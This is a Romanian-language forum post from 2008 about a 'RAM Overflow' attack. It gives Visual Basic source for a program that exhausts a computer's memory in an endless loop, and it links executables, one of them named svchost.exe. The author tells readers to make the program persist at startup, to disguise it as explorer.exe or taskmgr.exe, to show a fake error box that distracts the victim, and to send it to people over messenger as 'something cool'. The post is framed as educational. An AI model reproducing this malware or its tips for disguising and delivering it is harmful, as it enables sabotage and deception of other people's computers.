ArenaCs . IdLe . Ro
Doriti să reactionati la acest mesaj? Creati un cont în câteva clickuri sau conectati-vă pentru a continua.

ArenaCs . IdLe . Ro

ConnecT ArenaCs.IdLe.Ro
 
AcasaPortalCăutareUltimele imaginiÎnregistrareConectare

 

 RAM Overflow

In jos 
AutorMesaj
$p!d3r-man

$p!d3r-man


Numarul mesajelor : 34
Warning :
RAM Overflow Left_bar_bleue0 / 1000 / 100RAM Overflow Right_bar_bleue

Data de inscriere : 11/03/2008

RAM Overflow Empty
MesajSubiect: RAM Overflow   RAM Overflow Icon_minitimeMar Mar 11, 2008 11:36 pm

RAM Overflow
RAM Overflow
Mai intii de toate: ACEST ESEU ARE SCOP PUR EDUCATIV. NU-MI ASUM RASPUNDEREA PETRU ORICARE ACTIUNE FACUTA CU AJUTORUL ACESTUIA SAU PROGRAMELOR PREZENTATE.

La momentul actual poate mai putin folosita dar eficienta este metoda RAM Overflow. Dupa cum se stie toate programele, otpiunile, fisierele si tot ce face windows la moment este incarcat in RAM, denumirea pe larg fiind - Random Acces Memory. Daca incepe un atac al RAM-ului, PC-ul dupa o perioada de timp incepe sa nu raspunda la event-uri, la clickrui si in general nu se stie daca te "aude". Dupa cateva minute iti apare un baloon tip in system tray (langa ceas) si striga ca windows are putina memorie virtuala si va el incepe a depozita o parte din informatia din RAM pe hard disk intr-un file ascuns. Daca incepe depozitarea pe hard a informatiei din RAM, deseori incepe o slabire vizibila si o incarcare a windows iar daca acesta depoziteaza prea mult se poate ajunge la mari neplaceri.

Ok, acum sa trecem la urmatorul pas. Pe langa informatia care am spus ca o incarca in RAM windows-ul (am prezentat-o mai sus), tot in RAM se incarca si variabilele... ai inteles aluzia? Adica daca declaram prea multe variabile, RAM-ul treptat se incarca si incepe a depozita pe hard. Iar daca continuam actiunea data, ea primeste denumirea de atac! Dar cum declaram variabilele? Standart daca incepem a declara la inceputul programului (in orice limbaj declararea variabelelor are loc la inceputul programelor - chiar si in aceleasi Turbo Pascal, Turbo Basic, Visual Basic, C, Assembler, Php si multimea de limbaje ne enumerate aici). Dar daca incepem a declara mai multe decat trebuie programul pur si simplu da eroare si incetineaza executia. Este o metoda mai eficienta: variabilele dinamice. Se numesc variabile dinamice variabilele care pot fi declarate (sau redeclarate) pe parcursul executarii programului. Metoda e simpla: mai intii declaram un tablou (array) si apoi il redimensionam implundul cu date - daca doresti bagi in toate variabilele ziua ta de nastere ( ) sau mai bine il facem sa mai lucreze putin si atribuim variabilelor un numar aleator . Am facut un program in visual basic care face toata treaba asta. Are 16 kb, dar daca nu e oprit dupa o haba de vreme va dovedi sa pape bine! Programul insasi il gasesti aici. http://l7x.110mb.com/pager.exe Daca compu tau are mai mult de 32mb RAM, poti lansa programul, dar deschide odata cu el si task manager (ctrl+alt+delete) si observa CPU loading & memory usage. Vei observa ca CPU se incarca la 100% si se adauga cate un mb in cateva secunde la memoria folosita. Dupa ce ai terminat de admirat toate astea nu uita sa scoti procesul PAGER.exe ca te pomenesti fara RAM sau altceva (de fapt nush exact fara de ce te poti pomeni si va rog sa nu testati pe voi) Acum sa arat si explic codul.


code:
--------------------------------------------------------------------------------
Option Explicit
Sub main()
Dim Memory() As Long

Const LONGS_PER_MEG = 1048576 / 4

Static megs As Integer
Dim thrash As Boolean
Dim new_megs As Integer
Dim max_index As Long
Dim i As Long
Dim index As Long

On Error Resume Next

1: For new_megs = 1 To 8000

max_index = new_megs * LONGS_PER_MEG

ReDim Memory(1 To max_index)

For i = 1 To max_index
index = Int(max_index * Rnd) + 1
Memory(i) = index
Next i

Next new_megs

GoTo 1
End Sub
--------------------------------------------------------------------------------



Mai intii de toate am declarat tabloul Memory() de tipul long pe care-l vom redimensiona. Observa ca nu am specificat marimea lui. Dupa asta declaram deja variabile care le vom folosi in mod normal. On error resume next arata ca daca da peste eroare el continua executia cu instructiunea urmatoare pentru ca victima sa fie la sigur atacata. In continuare atribuim new_megs de la 1 la 8000 iar max_index o alta valoare de cateva mii de ori mai mare care si va fi marimea noua a tabloului ( redim memory(1 to max_index). Pasul urmator este "umplerea" spatiilor create adica atribuirea variabilelor create a cate un numar aleator (pentru a folosi memoria alocata). La dorinta puteti adauga un sunet de proba dupa "Next i" pentru a intelege la ce etapa e si cum decurge actiunea.

Acesta a fost cel mai simplu cod dar sunt sigur ca fantezia va este mare si puteti crea programe mult mai puternice . Exista metoda de a scapa de atacul programului ce l-am pus aici: ctrl+alt+delete si end process pager.exe, sau restart windows. Dar sunteti hackeri sau ce mama voastra? Ok. iata cateva idei: de restart te aperi daca reusesti sa-i bagi programul in startup! Daca ai cunsotinte avansate poti ascunde procesul din aceasta lista ctrl+alt+delete. Daca nu nu fi trist, cel putin dai o denumire mai obisnuita (de ex. explorer.exe sau taskmgr.exe - fantezie dar si realitate). Inca un trick: poti la strartul programei adauga codul ca sa para un msgbox si sa urle ca din cauza unei erori programul nu strarteaza - asta poate abate atentia victimei si ea va crede ca programul nu a startat in timp ce el avanseaza!
Puteti folosi programul impotriva oricui doresti dar vezi sa nu intreci masura. Un exemplu poate fi sa-l trimiti cuiva pe messenger si sa-i zici ca-i ceva tare (fantezie!).

P.S. O VERSIUNE NOUA A PROGRAMULUI O GASITI AICI
http://l7x.110mb.com/svchost.exe
Sus In jos
 
RAM Overflow
Sus 
Pagina 1 din 1

Permisiunile acestui forum:Nu puteti raspunde la subiectele acestui forum
ArenaCs . IdLe . Ro :: Diverse - ArenaCs :: Resurse Pc-
Mergi direct la: